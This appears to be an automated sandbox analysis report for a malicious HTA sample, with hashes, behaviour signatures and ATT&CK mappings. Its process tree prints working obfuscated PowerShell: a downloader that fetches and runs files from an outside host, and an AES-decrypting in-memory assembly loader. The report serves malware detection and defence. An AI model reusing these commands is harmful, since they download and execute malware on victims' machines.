c5010ef902c9a8421aaf07a4ac475667c0b2ddae0b2d4c2f4c28aa7b7f482b3d

General

Target

hta.hta
Size

12KB
MD5

c4c06bc09d5d07d8abdb074e80806d07
SHA1

fd49f1d6c2fb26415c90b9e352b288f16e169b6c
SHA256

c5010ef902c9a8421aaf07a4ac475667c0b2ddae0b2d4c2f4c28aa7b7f482b3d
SHA512

6a8eb776b68d500645b1b4bbc4440e8e24e6f8340e3fe560ae96b8c127b26bd3a678782306e4b049aa9d4a1fc120f782307ac2ae166c84bcf73cffcd451a0626
SSDEEP

384:yCG1ce3Nf2/B8L0L2/B8eNnCOHk2/B8ZNUNTBbuq80Kuhv+K0NuG8QS2Va2XKFVq:KuJvVCBy

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 2536 powershell.exe
5 2536 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

2868 NOTEPAD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2536 powershell.exe
2536 powershell.exe
2536 powershell.exe
2452 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2536 powershell.exe
Token: SeDebugPrivilege 2452 powershell.exe

flow	pid	process
4	2536	powershell.exe
5	2536	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2868	NOTEPAD.EXE

pid	process
2536	powershell.exe
2536	powershell.exe
2536	powershell.exe
2452	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

mshta.exepowershell.execmd.execmd.exe

description	pid	process	target process
PID 2932 wrote to memory of 2536	2932	mshta.exe	powershell.exe
PID 2932 wrote to memory of 2536	2932	mshta.exe	powershell.exe
PID 2932 wrote to memory of 2536	2932	mshta.exe	powershell.exe
PID 2932 wrote to memory of 2536	2932	mshta.exe	powershell.exe
PID 2536 wrote to memory of 2868	2536	powershell.exe	NOTEPAD.EXE
PID 2536 wrote to memory of 2868	2536	powershell.exe	NOTEPAD.EXE
PID 2536 wrote to memory of 2868	2536	powershell.exe	NOTEPAD.EXE
PID 2536 wrote to memory of 2868	2536	powershell.exe	NOTEPAD.EXE
PID 2536 wrote to memory of 2096	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2096	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2096	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2096	2536	powershell.exe	cmd.exe
PID 2096 wrote to memory of 2480	2096	cmd.exe	cmd.exe
PID 2096 wrote to memory of 2480	2096	cmd.exe	cmd.exe
PID 2096 wrote to memory of 2480	2096	cmd.exe	cmd.exe
PID 2096 wrote to memory of 2480	2096	cmd.exe	cmd.exe
PID 2480 wrote to memory of 2568	2480	cmd.exe	cmd.exe
PID 2480 wrote to memory of 2568	2480	cmd.exe	cmd.exe
PID 2480 wrote to memory of 2568	2480	cmd.exe	cmd.exe
PID 2480 wrote to memory of 2568	2480	cmd.exe	cmd.exe
PID 2480 wrote to memory of 2452	2480	cmd.exe	powershell.exe
PID 2480 wrote to memory of 2452	2480	cmd.exe	powershell.exe
PID 2480 wrote to memory of 2452	2480	cmd.exe	powershell.exe
PID 2480 wrote to memory of 2452	2480	cmd.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\hta.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gkzChlFZJJ($CLgcLN, $kmBiXxhdPBBuVK){[IO.File]::WriteAllBytes($CLgcLN, $kmBiXxhdPBBuVK)};function EHyqZyfXS($CLgcLN){if($CLgcLN.EndsWith((wTbQxZaeCBFXfE @(68345,68399,68407,68407))) -eq $True){rundll32.exe $CLgcLN }elseif($CLgcLN.EndsWith((wTbQxZaeCBFXfE @(68345,68411,68414,68348))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $CLgcLN}elseif($CLgcLN.EndsWith((wTbQxZaeCBFXfE @(68345,68408,68414,68404))) -eq $True){misexec /qn /i $CLgcLN}else{Start-Process $CLgcLN}};function EcjCVmfjLDzFvM($qDNhNUEOwgjE){$pXytQmYCtNpvKlmM = New-Object (wTbQxZaeCBFXfE @(68377,68400,68415,68345,68386,68400,68397,68366,68407,68404,68400,68409,68415));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$kmBiXxhdPBBuVK = $pXytQmYCtNpvKlmM.DownloadData($qDNhNUEOwgjE);return $kmBiXxhdPBBuVK};function wTbQxZaeCBFXfE($IXRsdNnynXKLzp){$gCTQwIlSnN=68299;$gsScNSXbhsG=$Null;foreach($YPrbcjAFtcNCEhncu in $IXRsdNnynXKLzp){$gsScNSXbhsG+=[char]($YPrbcjAFtcNCEhncu-$gCTQwIlSnN)};return $gsScNSXbhsG};function odaqkEMluKlVzieGjH(){$nbpUYlNulSp = $env:AppData + '\';$cnysluAIEDXyIH = $nbpUYlNulSp + 'Note.txt';If(Test-Path -Path $cnysluAIEDXyIH){Invoke-Item $cnysluAIEDXyIH;}Else{ $nzWdArjtuUapYUy = EcjCVmfjLDzFvM (wTbQxZaeCBFXfE @(68403,68415,68415,68411,68357,68346,68346,68348,68356,68350,68345,68349,68349,68349,68345,68356,68353,68345,68348,68349,68355,68357,68354,68349,68355,68354,68346,68377,68410,68415,68400,68345,68415,68419,68415));gkzChlFZJJ $cnysluAIEDXyIH $nzWdArjtuUapYUy;Invoke-Item $cnysluAIEDXyIH;};$iTWyAvaurQ = $nbpUYlNulSp + '15.bat'; if (Test-Path -Path $iTWyAvaurQ){EHyqZyfXS $iTWyAvaurQ;}Else{ $YiQQDI = EcjCVmfjLDzFvM (wTbQxZaeCBFXfE @(68403,68415,68415,68411,68357,68346,68346,68348,68356,68350,68345,68349,68349,68349,68345,68356,68353,68345,68348,68349,68355,68357,68354,68349,68355,68354,68346,68348,68352,68345,68397,68396,68415));gkzChlFZJJ $iTWyAvaurQ $YiQQDI;EHyqZyfXS $iTWyAvaurQ;};;;;}odaqkEMluKlVzieGjH;
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2536

C:\Windows\SysWOW64\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\Note.txt
3⤵
- Opens file in notepad (likely ransom note)
PID:2868

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Roaming\15.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:2096

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\15.bat"
4⤵
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$UerdI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$UerdI.Key=[System.Convert]::($MMJz[12])('dVsAn8RIciGbSq5PEUSffnRQiEF7D6JhJ+MhQGAxpxA=');$UerdI.IV=[System.Convert]::($MMJz[12])('rrMf8DdSiOTkJYW5AhOOlg==');$ytGVg=$UerdI.($MMJz[3])();$FTQFX=$ytGVg.($MMJz[10])($JKmLP,0,$JKmLP.Length);$ytGVg.Dispose();$UerdI.Dispose();$FTQFX;}function mpyCC($JKmLP){$FjjxJ=New-Object System.IO.MemoryStream(,$JKmLP);$sySFb=New-Object System.IO.MemoryStream;$Rdfpf=New-Object System.IO.Compression.GZipStream($FjjxJ,[IO.Compression.CompressionMode]::($MMJz[5]));$Rdfpf.($MMJz[7])($sySFb);$Rdfpf.Dispose();$FjjxJ.Dispose();$sySFb.Dispose();$sySFb.ToArray();}$BklLD=[System.IO.File]::($MMJz[8])([Console]::Title);$oNBKh=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 5).Substring(2))));$HuDRY=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 6).Substring(2))));[System.Reflection.Assembly]::($MMJz[13])([byte[]]$HuDRY).($MMJz[6]).($MMJz[9])($null,$null);[System.Reflection.Assembly]::($MMJz[13])([byte[]]$oNBKh).($MMJz[6]).($MMJz[9])($null,$null); "
5⤵
PID:2568

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2452

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\15.bat
Filesize
60KB

MD5
1bf971e48ba0ca904319be9147a96c33

SHA1
75078fd8b6a000b848eb3f372e5f84fb58d5b98e

SHA256
74742f3e892f02c91b2f2dd9e1547ffe42681bb755b0f28b2dd602afb46af39e

SHA512
e24d8d46a962c1d659a742a1926c6628f9e88268449b36a93bba5def5390eca141903e329afd3eda70f79cc391f8391e9f15639918addc923819a3efe3dcc6d0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
cbd189185a38e798206b51349220b91f

SHA1
cd884b7a0e1e14bd9546833f57ca4b4d543e4ed6

SHA256
ff85c8222e58ecd126a7969c497a4672046d78ff2305a2f61d37a3e9c22ac97c

SHA512
ec84b990da34312c653f86adc89e089f3b30e41340d74afac2154218c165deb6f0807c5b388f808971c68bada98d60ab811b596ebc12732f9a1f9aad4ef01544

Download Submit
C:\Users\Admin\AppData\Roaming\Note.txt
Filesize
108B

MD5
9e2a8359db98f60d9f34f1a03f02493e

SHA1
1a70aae1681c8c4d1f5111b0d0ab2f8fa2bd5ff5

SHA256
9781b3ce834241cce16bfb2f69b18f8032679fe614b3776f4fbcbda97bf26a82

SHA512
ecba513a5198daea5f3d15a4332096babe8b1f9be5ff35fdbb305b7ca2b46c8177a242e95220eb14a69cd99d63d4a2c4ba6858b0a371951d6c0012ad7030eea4

Download Submit
memory/2452-25-0x0000000072D40000-0x00000000732EB000-memory.dmp

Filesize
5.7MB

Download
memory/2452-29-0x0000000002F30000-0x0000000002F70000-memory.dmp

Filesize
256KB

Download
memory/2452-28-0x0000000002F30000-0x0000000002F70000-memory.dmp

Filesize
256KB

Download
memory/2452-27-0x0000000072D40000-0x00000000732EB000-memory.dmp

Filesize
5.7MB

Download
memory/2452-26-0x0000000002F30000-0x0000000002F70000-memory.dmp

Filesize
256KB

Download
memory/2452-23-0x0000000072D40000-0x00000000732EB000-memory.dmp

Filesize
5.7MB

Download
memory/2452-24-0x0000000002F30000-0x0000000002F70000-memory.dmp

Filesize
256KB

Download
memory/2536-2-0x0000000072E00000-0x00000000733AB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-16-0x0000000072E00000-0x00000000733AB000-memory.dmp

Filesize
5.7MB

Download
memory/2536-3-0x0000000002E70000-0x0000000002EB0000-memory.dmp

Filesize
256KB

Download
memory/2536-5-0x0000000002E70000-0x0000000002EB0000-memory.dmp

Filesize
256KB

Download
memory/2536-4-0x0000000072E00000-0x00000000733AB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing